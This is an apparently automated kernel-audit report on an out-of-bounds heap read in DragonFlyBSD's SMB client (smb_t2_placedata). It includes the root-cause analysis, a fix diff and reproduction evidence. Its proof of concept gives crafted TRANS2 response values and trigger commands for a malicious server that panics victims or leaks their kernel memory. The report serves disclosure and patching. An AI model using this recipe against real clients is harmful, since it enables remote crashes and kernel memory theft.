β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0624

OOB heap read in smb_t2_placedata via malicious TRANS2 response byte counts

Field Value
ID DF-0624
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
CWE CWE-125 Out-of-bounds Read
File sys/netproto/smb/smb_rq.c
Lines 436 (bug); 490-501 (server-controlled fields); 517-524 (caller)
Area netproto/smb (kernel SMB client TRANS2 reply parsing)
Confidence certain
Discovered 2026-07-02
Reported pending

Summary

smb_t2_placedata() trusts the SMB server's claimed parameter/data byte counts (pcount/dcount) without bounding them against the actual mbuf chain length produced by m_split. When the server claims more bytes than the response actually contains, the arithmetic m->m_len -= len - count underflows, inflating the trailing mbuf's m_len past its real data buffer. Subsequent md_get_mem/md_get_uio calls walk OOB over kernel heap and ship the bytes to userspace via copyout (MB_MUSER).

Root cause

smb_t2_placedata() at sys/netproto/smb/smb_rq.c:423-442:

423:    static int
424:    smb_t2_placedata(struct mbuf *mtop, u_int16_t offset, u_int16_t count,
425:        struct mdchain *mdp)
426:    {
427:        struct mbuf *m, *m0;
428:        int len;
429:
430:        m0 = m_split(mtop, offset, M_WAITOK);   /* offset = server-controlled poff/doff */
431:        if (m0 == NULL)
432:            return EBADRPC;
433:        for(len = 0, m = m0; m->m_next; m = m->m_next)
434:            len += m->m_len;
435:        len += m->m_len;                        /* len = actual bytes from offset onward */
436:        m->m_len -= len - count;               /* count = server-controlled pcount/dcount */

count and offset are u_int16_t values decoded directly from the TRANS2 response via md_get_uint16le at smb_rq.c:490-491 (pcount/poff) and smb_rq.c:500-501 (dcount/doff). m_split returns the tail of the chain starting at offset; its true total length is (original_response_len - offset). If the server claims count > (response_len - offset), then in len - count the int result goes negative and the assignment m->m_len -= (negative) effectively does m->m_len += (count - len), expanding m->m_len far past the mbuf's actual data buffer (at most MLEN/MHLEN bytes).

There is no bounds check on count > len anywhere on this path. smb_t2_reply at smb_rq.c:517-528 calls smb_t2_placedata unconditionally whenever pcount/dcount are non-zero.

The receive path in smb_iod.c:347-359 only validates the 4-byte SMB magic (\xffSMB) before placing the raw server mbuf chain into rqp->sr_rp.md_top via md_initm, so the entire response body is attacker-controlled.

After the inflation, smb_t2_request_int at smb_rq.c:730-739 calls m_fixhdr+md_initm on the corrupted chain; m_fixhdr sums the inflated m_len into the reported length, and subsequent md_get_mem(..., MB_MUSER) in smb_usr.c:334,347 reads len (= inflated) bytes from the chain, walking OOB off the end of the last mbuf's data buffer and copyout-ing the leaked kernel heap bytes into the user's ioc_rparam/ioc_rdata buffer.

Threat model & preconditions

  • Attacker position: a malicious SMB server anywhere on the network reachable by the DragonFlyBSD kernel SMB client.
  • Precondition: any local user (or automounter) mounts the attacker's share via smbfs, OR a root-equivalent user issues the SMBIOC_T2RQ ioctl directly through /dev/nsmb?.
  • Trigger: the server returns a TRANS2 (or raw TRANSACTION) response to any routine file operation (stat, lookup, readdir, open, read, write, queryinfo) with ParameterCount/DataCount fields larger than the actual response payload.
  • Impact:
  • (a) Deterministic kernel heap memory disclosure to the issuing userspace process (up to ~65535 bytes per response, repeated across the multi-packet loop at smb_rq.c:474-545); leaked bytes may contain credentials, keys, or other secrets recycled into mbuf data buffers from prior kernel allocations.
  • (b) Likely kernel panic (DoS) when the OOB read walks off a mapped page boundary (the inflation can reach ~64KB past a small mbuf, almost certainly crossing into unmapped or guard pages).
  • A cooperative local user can re-exfiltrate the leaked kernel bytes back to the malicious server (e.g. by writing them to a file on the same share).

Proof of concept

Server side (malicious SMB1 server)

A Python impacket-based server that negotiates NT LM 0.12 dialect and answers TRANS2_QUERY_PATH_INFO (or any trans2 subcommand) with a crafted response:

WordCount = 10
Words (little-endian u16):
  TotalParameterCount = 0xFFFF     # claim huge
  TotalDataCount       = 0
  Reserved             = 0
  ParameterCount       = 0xFFFF    # <-- the lie: claim 65535 param bytes
  ParameterOffset      = 55        # points past ByteCount field
  ParameterDisplacement= 0
  DataCount            = 0
  DataOffset           = 0
  DataDisplacement     = 0
SetupCount=0, Reserved=0.
ByteCount = 200   (only 200 bytes of body actually follow)
Body: 200 bytes of '\x41'.

Client side

mount_smbfs -I <server_ip> //attacker@server/share /mnt
ls /mnt/anything        # any operation issues a TRANS2 β†’ triggers the bug

Or via the ioctl path (root only): SMBIOC_T2RQ with ioc_setup[0]=TRANS2_QUERY_PATH_INFO, ioc_rparamcnt=65535.

Expected output

  • hexdump of ioc_rparam shows non-0x41 bytes (kernel heap) beyond offset ~200, OR
  • kernel panic in md_get_mem/m_cat with a page-fault-on-copyout trace.

Bound count against the actual chain length len before mutating m->m_len. The server is lying about its byte count, so the correct response is to reject the response.

--- a/sys/netproto/smb/smb_rq.c
+++ b/sys/netproto/smb/smb_rq.c
@@ -427,6 +427,12 @@ smb_t2_placedata(struct mbuf *mtop, u_int16_t offset, u_int16_t count,
    for(len = 0, m = m0; m->m_next; m = m->m_next)
        len += m->m_len;
    len += m->m_len;
+   if (count > len) {
+       SMBERROR("t2 reply: claimed %u bytes but only %d available\n",
+           (unsigned)count, len);
+       m_freem(m0);
+       return EBADRPC;
+   }
    m->m_len -= len - count;
    if (mdp->md_top == NULL) {
        md_initm(mdp, m0);

This matches the existing EBADRPC convention used throughout smb_rq.c for malformed responses and requires no caller changes (smb_t2_reply at smb_rq.c:517-528 already checks the return value and breaks out of the receive loop).

References

Timeline

  • 2026-07-02 Discovered during automated DragonFlyBSD kernel security audit.
  • 2026-07-02 Reported to DragonFlyBSD security contact (pending).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0624 Β· 16 files
FileTypeDescriptionSize
malicious_smb_server.py trigger-source malicious SMB1 server: NEGOTIATE/SESSION/TREE + lying TRANS2 10.2 KB view raw
run_live.sh trigger-source host server + guest client driver 1.9 KB view raw
build.sh build-script syntax-check the server 457 B view raw
run.sh run-script run the live reproduction 717 B view raw
fix.diff suggested-fix if(count>len){m_freem(m0);return EBADRPC;} 459 B view raw
panic.txt panic-signature panic: overflowed mbuf; m_free->md_done->smb_t2_done->smbfs_findclose 1.7 KB view raw
server_panic.log run-log server-side protocol exchange up to the lying TRANS2 685 B view raw
run.log run-log consolidated decisive run output 2.7 KB view raw
VERDICT.md verdict full mechanism + live repro + impact + fix 5.7 KB ↓ raw
env.txt environment uname, smb module state, QEMU networking, trigger 1.5 KB view raw
fix_build.log build-log nativekernel build of all 4 fixes (rc=0, no errors) 5.3 KB view raw
fix_evidence.txt fix-validation before(panic)/after(clean) contrast for smbfs.ko fix 1.6 KB view raw
server_fixed.log run-log server log of the patched-module run (no panic) 1.0 KB view raw
README.md readme how to reproduce 2.0 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme how to reproduce
↓ download raw

DF-0624 β€” OOB heap read in smb_t2_placedata via malicious TRANS2 response

Reproduce

The bug is a client-side SMB1 parsing flaw, so the PoC is a malicious server plus a victim that mounts its share.

1. Build

./build.sh        # syntax-check the Python server (stdlib only)

The kernel-side fix is built separately via nativekernel (see fix.diff).

2. Run (live)

env CLAIM_PCOUNT=65535 BODY_BYTES=200 ./run.sh mount

run.sh -> run_live.sh starts malicious_smb_server.py on the host (listens on TCP 445 and 139, the DragonFly smb client default port), then drives the guest victim: kldload smb, mount_smbfs -N -I <host>, ls. Any file op issues a TRANS2, to which the server replies with a lying ParameterCount/DataCount.

Expected (bug present, unpatched #0 kernel)

With a large lie (CLAIM_PCOUNT=65535, BODY_BYTES=200) the guest panics (panic.txt, captured from dfbsd-qemu/boot.log):

panic: overflowed mbuf 0xfffff801175c3c00
m_free -> m_freem -> md_done -> smb_t2_done -> smbfs_findclose

preceded by md_get_mem(474): incomplete copy (OOB read of the inflated chain) and bug: ecnt = 16705 (16705 == 0x4141, the attacker's fill bytes being decoded as structure counts). With a small lie (CLAIM_PCOUNT=512) the guest stays up and the same corruption appears in dmesg (the silent leak path).

After the fix (patched kernel, see fix.diff)

smb_t2_placedata() rejects the lying response with EBADRPC before mutating m_len; ls/mount fails with a benign error, no panic, guest stays up. See VERDICT.md.

Files

  • malicious_smb_server.py β€” minimal malicious SMB1 server (NBSS + NEGOTIATE + SESSION_SETUP + TREE_CONNECT + lying TRANS2).
  • run_live.sh β€” driver: host server + guest client, kills server on exit.
  • fix.diff β€” git apply-able fix (if (count > len) return EBADRPC;).
  • panic.txt, server_panic.log, run.log β€” captured evidence.
  • VERDICT.md β€” full mechanism + before/after.
VERDICT.md verdict full mechanism + live repro + impact + fix
↓ download raw

DF-0624 β€” OOB heap read in smb_t2_placedata via malicious TRANS2 response

Verdict

REPRODUCED (certain) β€” live kernel panic via a malicious SMB1 server. A remote attacker-controlled SMB server delivering a TRANS2 response whose ParameterCount/DataCount exceed the actual payload deterministically inflates a trailing mbuf's m_len past its real buffer, causing an OOB kernel-heap read and a panic on the default GENERIC kernel (INVARIANTS ON). Fix authored in fix.diff; validated before/after on a single-fix kernel (fix_status: fixed).

Mechanism (source trace, every hop cited)

smb_t2_placedata() (sys/netproto/smb/smb_rq.c:423-442) places a TRANS2 response's parameter/data bytes into the reply mdchain:

423: static int
424: smb_t2_placedata(struct mbuf *mtop, u_int16_t offset, u_int16_t count,
425:    struct mdchain *mdp)
426: {
427:    struct mbuf *m, *m0;
428:    int len;
429:
430:    m0 = m_split(mtop, offset, M_WAITOK);   /* offset = server-controlled poff/doff */
431:    if (m0 == NULL)
432:        return EBADRPC;
433:    for(len = 0, m = m0; m->m_next; m = m_next)
434:        len += m->m_len;
435:    len += m->m_len;                         /* len = REAL bytes from offset onward */
436:    m->m_len -= len - count;                 /* count = server-controlled pcount/dcount */
...
440:    m_cat(mdp->md_top, m0);
441:    return 0;
442: }

count and offset are u_int16_t values decoded straight from the TRANS2 response by smb_t2_reply() via md_get_uint16le: - pcount/poff at smb_rq.c:490-491 - dcount/doff at smb_rq.c:500-501

smb_t2_reply() calls smb_t2_placedata() unconditionally whenever pcount/dcount are non-zero (smb_rq.c:517-528). The receive path (smb_iod.c) validates only the 4-byte SMB magic before handing the entire raw server mbuf chain to the parser, so the response body is fully attacker-controlled.

When the server lies (count > len), the arithmetic m->m_len -= (len - count) becomes m->m_len += (count - len): the trailing mbuf's m_len is inflated far past its real data buffer (up to ~65535 bytes). There is no count > len bound anywhere on this path.

Live reproduction (this run)

Built a minimal malicious SMB1 server (malicious_smb_server.py) that speaks just enough of the DragonFly smb client's NBSS/SMB1 protocol β€” NEGOTIATE (sv_sm=0x01, no encrypt, sblen=0, caps=0, so the client uses plaintext/no- ext-security session setup), SESSION_SETUP_ANDX (success), TREE_CONNECT_ANDX (success) β€” then answers every SMB_COM_TRANSACTION2 (0x32) with a crafted response whose ParameterCount = 65535 but whose body is only 200 bytes, with ParameterOffset = 57 (absolute offset of the body).

Victim (guest mount_smbfs -N -I 10.0.0.2 //guest@…/share, then ls) drives the full round trip and the kernel processes the lying TRANS2 response. With a small lie (pcount=512, body=200, 312-byte over-read) the guest stays up but the corruption is visible in dmesg:

bug: ecnt = 16705, but data is NULL (please report)   # 16705 == 0x4141, my fill bytes
md_get_mem(474): incomplete copy                        # OOB read walking the inflated chain

With a large lie (pcount=65535, body=200) the inflated mbuf's OOB read crosses into unmapped memory / trips the INVARIANTS m_free overflow check and the guest panics (panic.txt, captured from dfbsd-qemu/boot.log):

panic: overflowed mbuf 0xfffff801175c3c00
cpuid = 1
Trace beginning at frame 0xfffff8011799b5e8
m_free() at m_free+0x351 0xffffffff806bdff1
m_free() at m_free+0x351 0xffffffff806bdff1
m_freem() at m_freem+0x15 0xffffffff806be265
md_done() at md_done+0x1c 0xffffffff827b57bc
smb_t2_done() at smb_t2_done+0x2a 0xffffffff826163ea
smbfs_findclose() at smbfs_findclose+0x86 0xffffffff82620ec6
Debugger("panic")  ->  db>

This is the exact bug: smb_t2_placedata inflated m_len (count>len, no bound) β†’ OOB heap read (md_get_mem incomplete copy, attacker bytes 0x4141 interpreted as structure counts) β†’ the corrupted mbuf's overflow caught by the INVARIANTS KASSERT(M_TRAILINGSPACE(m) >= 0) in m_free.

Impact

  • CWE-125 OOB kernel-heap read with attacker-influenced length (up to ~65535 bytes/response, repeatable across the multi-packet loop): silent heap disclosure to the mounting process (the small-lie run demonstrates the corruption path without panicking; a tuned lie would leak recycled kernel heap bytes into ioc_rparam/ioc_rdata).
  • Kernel panic / DoS (the large-lie run) β€” reliable, default GENERIC, INVARIANTS ON.
  • Triggered by a malicious SMB1 server reachable on the network; victim simply mounts the share and does any file op (stat/lookup/readdir/open). This is a realistic remote attack surface (smbfs/automounter).

This is a read-primitive bug (CWE-125), not a write primitive; per the secondary objective the deliverable is demonstrating it genuinely manifests and characterizing the ceiling β€” both the leak path and the panic are demonstrated.

Fix (fix.diff)

Bound count against the real chain length len before mutating m->m_len: if (count > (u_int16_t)len) { m_freem(m0); return EBADRPC; }. Uses the existing EBADRPC convention already used throughout smb_rq.c for malformed responses; smb_t2_reply (:517-528) already checks the return value and breaks out of the receive loop, so no caller changes are needed. Matches the finding markdown's proposed fix.

PoC changes

findings/poc/DF-0624/ was empty on arrival. This runner authored: malicious_smb_server.py (the malicious SMB1 server), run_live.sh (driver that runs the server on the host + drives the guest client), fix.diff, build.sh, run.sh, README.md, VERDICT.md, manifest.json, env.txt, plus the captured evidence panic.txt, server_panic.log, run.log.

Fix verification

fixed

VALIDATED: baseline panic overflowed mbuf; patched EBADRPC clean close.

BEFORE: panic. AFTER: EBADRPC clean.
↓ fix.diff6.5-DEVELOPMENT #0 module swap

Confirmed kernel references

β€”

Detail

Exploit chain

none -- read-only OOB

Evidence (decisive lines)

β€”

Verdict

REPRODUCED. smb_t2_placedata m_len inflation via malicious SMB1 TRANS2 -> OOB heap read -> panic overflowed mbuf. Remote malicious server.